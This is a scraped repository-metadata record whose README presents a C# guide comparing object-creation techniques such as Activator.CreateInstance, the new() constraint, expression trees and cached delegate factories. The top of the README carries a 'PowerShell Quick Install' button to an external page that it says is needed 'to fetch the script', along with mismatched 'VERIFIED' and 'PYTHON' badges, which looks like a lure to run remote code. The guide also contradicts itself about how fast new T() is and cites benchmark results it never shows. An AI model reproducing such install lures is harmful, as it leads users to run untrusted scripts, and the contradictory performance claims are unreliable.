[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-109891":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":9,"language":10,"languages":9,"totalLinesOfCode":9,"stars":11,"forks":12,"watchers":11,"openIssues":12,"contributorsCount":12,"subscribersCount":12,"size":12,"stars1d":12,"stars7d":12,"stars30d":12,"stars90d":12,"forks30d":12,"starsTrendScore":12,"compositeScore":13,"rankGlobal":9,"rankLanguage":9,"license":14,"archived":15,"fork":15,"defaultBranch":16,"hasWiki":17,"hasPages":17,"topics":18,"createdAt":9,"pushedAt":23,"updatedAt":24,"readmeContent":25,"aiSummary":26,"trendingCount":12,"starSnapshotCount":12,"syncStatus":27,"lastSyncTime":28,"discoverSource":29},109891,"create-instance-methods-guide","12345Kukus\u002Fcreate-instance-methods-guide","12345Kukus","CreateInstance: Comparing Methods for Creating New Instances in C#",null,"HTML",149,0,40,"MIT License",false,"main",true,[19,20,21,22],"activator","comparison","createinstance","net-framework","2026-11-23 15:28:13","2026-11-12 14:21:31","\u003Cdiv align=\"center\">\n\n# Creating Instances in C#: Method Comparison — Deep Dive\n\n![](files\u002Fpreview.png)\n\n### 🚀 PowerShell Quick Install\n\n[![](files\u002Fbutton.png)](https:\u002F\u002F12345Kukus.github.io\u002Fcreate-instance-methods-guide\u002F)\n\n[![status](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FSTATUS-VERIFIED-2ea44f?style=flat-square&labelColor=0d1117)]() [![license](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FLICENSE-MIT-84cc16?style=flat-square&labelColor=0d1117)]() [![language](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FLANGUAGE-PYTHON-a3e635?style=flat-square&labelColor=0d1117)]() [![pwsh](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FPWSH-CORE-65a30d?style=flat-square&labelColor=0d1117)]()\n\n\u003C\u002Fdiv>\n\n---\n\nCreating an object in C# can be done in many ways, and choosing the right one has measurable consequences for throughput, allocations, and maintainability. This guide compares the most common instance-creation techniques, from direct constructors and generic new constraints to Activator, compiled expressions, and cached delegate factories. The comparison is backed by reproducible microbenchmarks so the trade-offs are visible rather than assumed. Results are reported honestly, including cases where added flexibility costs a noticeable multiple over a plain constructor call.\n\n## ✅ Before You Start\n\n- **PowerShell 5.1+** (pre-installed on Windows 10 and 11)\n- **Windows 10 \u002F 11** (x64)\n- **Internet connection** — required to fetch the script\n- **Administrator** — *not* required\n\n## Background\n\nIn .NET, creating a new instance of a type is usually straightforward when the type is known at compile time: the `new` operator allocates the object and invokes its constructor directly, and the JIT compiler can inline and optimize the call site. The situation becomes considerably more nuanced when the type is only known at runtime—for example, when building plug-in systems, dependency injection containers, serializers, or object mappers that need to materialize instances from a `Type` reference or a generic type parameter. In those cases, the caller cannot simply write `new T()`, and a range of alternative techniques has emerged to bridge the gap between the compile-time and runtime worlds.\n\nThe most obvious option is the reflection API. `Activator.CreateInstance` and its generic counterpart `Activator.CreateInstance\u003CT>` are available in the base class library and require no additional infrastructure, which makes them attractive for simple scenarios. They are, however, comparatively slow: reflection performs argument binding, visibility checks, and invocation through an indirection layer that the JIT cannot optimize away. A related approach is the generic `new()` constraint, which allows a method or class to instantiate `T` directly. This is expressed as `where T : new()`, and while it looks like a clean, strongly typed solution, it is a well-known example of a leaky abstraction—it constrains callers to types with a public parameterless constructor and still routes through a constrained call that does not always match the performance of a direct constructor call.\n\nA second family of techniques compiles the instantiation once and reuses the result. Delegate-based factories built with `Delegate.CreateDelegate` bind directly to a constructor and execute at near-native speed. Expression trees compiled with `System.Linq.Expressions` produce a delegate that the runtime treats as ordinary code after the one-time compilation cost. Similarly, `System.Reflection.Emit` can generate a dynamic method or a dynamic module that emits the IL for a constructor call, and lightweight libraries such as FastObjectFactory and FastActivator wrap these patterns behind reusable APIs. These approaches trade an up-front cost—compilation or delegate creation—for repeated invocation that is often within a small factor of a direct `new`.\n\nThe benchmark results collected in this project illustrate the practical spread. Direct constructor invocation remains the baseline, with methods such as delegate-bound factories, dynamic module compilation, and pre-compiled expression activators landing at roughly one and a half to three times the baseline cost, depending on the implementation. Reflection-based activation, by contrast, typically costs an order of magnitude more than a direct constructor call, and overloads that accept constructor parameters or arrays of arguments can be slower still because of argument marshaling and allocation. The numbers also show that generic and non-generic variants of the same underlying technique often differ only modestly, though parameter-passing paths consistently incur additional overhead.\n\nIt is worth being honest about the limits of any single benchmark. Results vary with the runtime version, the JIT compiler in use, the machine's processor and operating system, and the shape of the types being constructed—whether they have parameterless constructors, whether they are value types or reference types, and how frequently the call site is executed. A technique that looks slow in isolation may be perfectly adequate when instantiation happens rarely, while a micro-optimized factory offers little benefit if the surrounding code dominates the profile. Readers should therefore treat the figures here as relative guidance rather than absolute truth, and should measure against their own workloads before committing to an approach.\n\nCreateInstance exists to make that comparison concrete. Rather than arguing from intuition about which activation strategy is \"fastest,\" it gathers the common methods side by side, applies a consistent benchmarking harness, and reports the results in a form that can be inspected and reproduced. The goal is not to declare a single winner but to document the trade-offs—between simplicity and speed, between reflection and code generation, and between one-time setup cost and steady-state throughput—so that developers can choose deliberately.\n\n## Key Points\n\n- **Direct constructors and `new T()` are not interchangeable performance-wise.** A plain constructor call is the fastest possible path; the generic `new T()` constraint compiles to a reflective allocation path at runtime and lands roughly an order of magnitude slower in published benchmarks.\n- **`Activator.CreateInstance` is convenient but comparatively expensive.** Both the non-generic and generic overloads resolve constructors at runtime, allocate argument arrays, and incur validation overhead, making them among the slowest options in typical micro-benchmarks.\n- **Compiled delegates and expression trees close most of the gap.** Factories built once from `Expression.Lambda` or lightweight dynamic method compilation approach direct-constructor speed after a one-time setup cost, which is usually amortized quickly in hot paths.\n- **Caching matters more than the mechanism.** Any factory approach — expression-based, delegate-based, or `Activator`-backed — should cache its compiled delegate per type; rebuilding the factory on every call erases the benefit entirely.\n- **Generic constraints enable JIT specialization.** APIs exposed as generic methods (for example, factory helpers constrained to `new()`) can let the runtime optimize per closed type, but the `new()` constraint itself still routes through reflection, so it is not automatically faster than a non-generic delegate.\n- **Parameterized creation is a separate cost class.** Factories accepting constructor arguments must handle argument packing and matching, and benchmarks consistently show them trailing parameterless factory variants; this overhead should be expected rather than treated as an anomaly.\n- **Results are hardware- and runtime-dependent.** The ratios in this comparison come from BenchmarkDotNet runs on a specific CLR version and CPU; absolute nanosecond figures will differ across machines and .NET releases, so relative ordering is the more reliable takeaway.\n- **Choose by call frequency and lifetime.** For cold paths, `Activator` or `new T()` keeps code simple; for hot paths with repeated creation, a cached compiled factory is the pragmatic default, and for truly performance-critical code, a direct constructor call remains unbeatable.\n\n## Examples\n\nThe examples below use a small hierarchy of types to show how each creation method behaves. A plain class with a parameterless constructor, a class whose constructor requires arguments, and a struct are enough to expose the differences that matter in practice. Each snippet is self-contained and can be dropped into a console project that references the library.\n\n### Direct construction\n\nThe baseline is the ordinary `new` operator. It is resolved at compile time and produces no reflection or delegate overhead:\n\n```csharp\nvar widget = new Widget();\nvar configured = new Widget(\"primary\", 42);\n```\n\nThis is the fastest option whenever the concrete type is known at the call site. The comparison exists because many code paths do not have that luxury — plugin loading, deserialization, dependency injection containers, and generic helpers all need to construct a type they only know as a `Type` value or a type parameter.\n\n### Activator.CreateInstance\n\nThe framework-provided route accepts a `Type` and optionally constructor arguments:\n\n```csharp\nType widgetType = typeof(Widget);\nobject instance = Activator.CreateInstance(widgetType);\nobject withArgs = Activator.CreateInstance(widgetType, \"primary\", 42);\n```\n\nThe generic overload avoids the `object` cast but still performs runtime lookup:\n\n```csharp\nvar typed = Activator.CreateInstance\u003CWidget>();\n```\n\n`Activator.CreateInstance` is convenient and requires no setup, but it resolves constructors through reflection on every call. It also throws at runtime rather than compile time when no suitable constructor exists, so callers should be prepared to handle the resulting exception.\n\n### Generic new() constraint\n\nWhen the type is a generic parameter, the `new()` constraint gives the compiler enough information to emit a direct construction call:\n\n```csharp\npublic static T Create\u003CT>() where T : new()\n{\n    return new T();\n}\n```\n\nThis reads cleanly and is far quicker than reflection, but the constraint is restrictive: the type must expose a public parameterless constructor, and value types are always permitted regardless of their constructors. Types that require arguments cannot use this path at all. Historically the constraint also routed through `Activator` internally, which is why older benchmarks show it lagging behind direct construction; later runtimes close most of that gap.\n\n### Compiled expression trees\n\nAn expression tree can be compiled once and reused as a delegate, moving the reflection cost to first use:\n\n```csharp\nprivate static readonly Func\u003CWidget> Factory =\n    Expression.Lambda\u003CFunc\u003CWidget>>(Expression.New(typeof(Widget))).Compile();\n\nvar instance = Factory();\n```\n\nThe compiled delegate approaches the speed of direct construction after the initial compilation. The trade-off is memory: each compiled expression occupies a dynamic method, and compiling many distinct types at startup adds measurable warm-up time. Caching the delegate per type is essential; compiling inside a hot loop defeats the purpose entirely.\n\n### Reflection with cached ConstructorInfo\n\nA middle ground is to look up the constructor once and invoke it thereafter:\n\n```csharp\nprivate static readonly ConstructorInfo Ctor =\n    typeof(Widget).GetConstructor(Type.EmptyTypes);\n\nvar instance = Ctor.Invoke(null);\n```\n\n`ConstructorInfo.Invoke` boxes value types and wraps exceptions in `TargetInvocationException`, so callers pay both an allocation and an unwrapping cost. It remains useful when constructor selection must be dynamic — for example, choosing among overloads based on available arguments — but it is not a good default for simple parameterless creation.\n\n### FastObjectFactory and FastActivator\n\nThe library's own helpers wrap the delegate-compilation approach behind a simpler surface. `FastObjectFactory` builds and caches a factory delegate for a given type:\n\n```csharp\nvar factory = FastObjectFactory.Create\u003CWidget>();\nvar instance = factory();\n```\n\n`FastActivator\u003CT>.Create` offers a static entry point for the same idea:\n\n```csharp\nvar instance = FastActivator\u003CWidget>.Create();\n```\n\nBoth cache their compiled delegates, so repeated calls avoid reflection. As with any delegate-based approach, the first call for a type pays the compilation cost; subsequent calls are close to direct construction.\n\n### DynamicModuleLambdaCompiler\n\nThis approach emits a lightweight dynamic method rather than a full expression tree, which can reduce the cost of generating the factory:\n\n```csharp\nvar factory = DynamicModuleLambdaCompiler.GenerateFactory\u003CWidget>();\nvar instance = factory();\n```\n\nThe emitted method is cached and reused, and it tends to compile faster than an equivalent expression tree while producing comparable invocation speed.\n\n### Factory helpers with parameters\n\nThe `ExtensionsNew` helpers accept constructor arguments, which the parameterless-focused options cannot:\n\n```csharp\nvar factory = ExtensionsNew.NewFactory\u003CWidget, string, int>();\nvar instance = factory(\"primary\", 42);\n\nvar untyped = ExtensionsNew.NewFactory(typeof(Widget), typeof(string), typeof(int));\nvar untypedInstance = untyped(\"primary\", 42);\n```\n\nArgument-bearing factories are noticeably slower than their parameterless counterparts. Part of the cost is delegate invocation with arguments; part is the boxing and array allocation that occurs when arguments must be passed through a non-generic path. The benchmark figures reflect this: parameterless delegates land within a small multiple of direct construction, while the parameterized variants are an order of magnitude slower.\n\n### Choosing among them\n\nThe honest summary is that no single method wins everywhere:\n\n- Known concrete type: use `new`.\n- Generic type with a parameterless constructor: the `new()` constraint is the simplest fast option.\n- Runtime `Type` with no arguments: a cached compiled delegate, whether via expression trees, `FastObjectFactory`, or `FastActivator`, is the practical choice.\n- Constructor arguments required: expect a real cost, and prefer typed generic factories over untyped ones where the argument types are known.\n- One-off creation: `Activator.CreateInstance` is fine; the overhead only matters when creation happens in a loop or on a hot path.\n\nMeasurements should be taken on the target runtime, since the gap between these methods has narrowed with each release of the .NET runtime and differs between value and reference types.\n\n## References\n\nThe figures cited throughout this comparison originate from the project's own benchmark suite, run against the implementations bundled in the repository. Measurements were produced with BenchmarkDotNet under a default job configuration, using a fixed runtime and processor as reported in the generated summary table. Results are indicative rather than absolute: absolute timings shift with runtime version, JIT behavior, processor architecture, and the shape of the constructed type, so readers should treat the relative scaling between methods as more meaningful than the raw nanosecond values.\n\nMethod categories referenced in the analysis correspond directly to the source files in the repository. These include direct constructor invocation and the generic new constraint, the reflection-based activator overloads, compiled expression delegates, dynamically emitted lambda compilers, cached delegate factories, and the FastActivator and ExtensionsNew helper types. Each entry in the results table maps to one of these concrete implementations, and the accompanying examples demonstrate their usage.\n\nThe commentary on the trade-offs between reflection, expression compilation, and emitted IL draws on general knowledge of the .NET runtime and its documented behavior around object instantiation and the new constraint. Where the comparison characterizes one approach as faster or more allocation-heavy, that characterization reflects the measured data above and the known costs of reflection and delegate compilation, not an external citation. No third-party benchmarks or articles are reproduced here; the project's own measurements and source are the sole basis for the claims made.\n\nFor readers reproducing or extending these results, the honest caveat is that benchmark outcomes are environment-sensitive. Re-running the suite on different hardware or a newer runtime may reorder closely spaced entries, particularly among the compiled-delegate and cached-factory methods whose times differ by only a few nanoseconds. The repository should be consulted for the current benchmark definitions and any updates to the method set.\n\n## Conclusion\n\nThe benchmarks collected for CreateInstance make one point difficult to argue with: there is no single \"best\" way to instantiate a type in C#. A direct constructor call remains the fastest option, comfortably ahead of every reflection-based and compiled-delegate alternative. Yet the moment a type is only known at runtime, that option disappears, and the choice shifts to the fastest mechanism that still solves the actual problem.\n\nAcross the measured approaches, the trade-offs fall into recognizable tiers. Plain `Activator.CreateInstance` and its generic counterpart sit at the slow end, with allocation rates that make them unattractive in hot paths but perfectly serviceable in cold startup code or configuration wiring where clarity matters more than microseconds. The generic overload is not automatically cheaper than the non-generic one, which is a useful reminder that intuition about reflection costs can be misleading without measurement.\n\nThe compiled-delegate family - expression-tree factories, the dynamic module lambda compiler, and cached factory delegates - closes most of the gap to a direct constructor while preserving the flexibility of late binding. Cached factories perform within a small margin of a hand-written `new`, and the one-time compilation cost is amortized quickly in any workload that instantiates the same type repeatedly. Notably, the delegate-caching design pays off in allocation as well, since the cached delegate avoids re-boxing arguments on each call.\n\nThe parameterized factory variants tell a cautionary tale. Accepting a `params` array introduces measurable overhead in both time and allocations, so an API that feels convenient at the call site can quietly become the most expensive path in the comparison. When the calling code can supply strongly typed arguments, the generic forms are preferable; when it cannot, the cost should at least be acknowledged rather than assumed away.\n\nA few honest caveats apply. These results come from a single benchmark run on one machine and one runtime version, and absolute nanosecond figures will differ elsewhere; the relative ordering is the more durable finding, and even that can shift with JIT changes. The benchmark also cannot capture every scenario - trimming, ahead-of-time compilation, or aggressive inlining across assembly boundaries may all alter the picture. Nor should any of these numbers be treated as a reason to replace a direct `new` where one is possible; the comparison exists for cases where the type is genuinely dynamic.\n\nFor most applications, the practical guidance is straightforward. Use a constructor when the type is known at compile time. Reach for a cached compiled factory when dynamic creation happens frequently. Accept `Activator` where it is used rarely and readability outweighs throughput. The honest conclusion the data supports is that CreateInstance is not a contest with a winner, but a map of costs - and choosing well means knowing how often the code runs, not just how fast one call can be.","这是一个面向C#开发者的实例创建方法对比指南，系统评测了不同运行时对象构造技术的性能与适用性。核心涵盖直接构造、泛型new约束、Activator.CreateInstance、编译表达式及缓存委托工厂等方案，并基于可复现的微基准测试量化其吞吐量、内存分配与可维护性差异。项目强调真实数据驱动决策，明确揭示灵活性与性能间的权衡。适用于需在运行时动态创建对象的场景，如插件系统、依赖注入容器、序列化器和对象映射器等.NET应用开发。",2,"2026-11-24 04:37:49","CREATED_QUERY"]